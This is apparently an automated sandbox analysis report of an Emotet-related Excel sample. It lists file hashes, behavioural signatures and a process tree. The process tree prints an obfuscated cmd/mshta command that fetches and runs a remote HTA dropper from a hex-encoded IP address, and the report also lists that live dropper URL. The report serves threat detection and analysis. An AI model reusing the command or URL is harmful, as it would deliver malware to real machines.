Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    26-01-2022 06:08

General

  • Target

    emotet_list_ioc_cronupTue_Jan_25_115429_PM_CST_2022.xls

  • Size

    70KB

  • MD5

    74ef2589b372f105b31d69b352aec951

  • SHA1

    2f12a5d662ee51bf73e7ddc2e04c7c018f367e36

  • SHA256

    561f1541d1ce60dd8a10c61c54f99d83e67ed86b0f645a6e564a99baa08f56b3

  • SHA512

    a5b2124f45034be6c2450a0623439fddf8251f431057ab004da9601f07f814ff6a5db6dbd74f09486ee5ed129a7c514effb999db0181161acaee856f529c7c4b

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\emotet_list_ioc_cronupTue_Jan_25_115429_PM_CST_2022.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1540
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1484
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1384

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1540-55-0x000000002F8D1000-0x000000002F8D4000-memory.dmp

    Filesize

    12KB

  • memory/1540-56-0x0000000071471000-0x0000000071473000-memory.dmp

    Filesize

    8KB

  • memory/1540-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1540-58-0x0000000076731000-0x0000000076733000-memory.dmp

    Filesize

    8KB

  • memory/1540-60-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB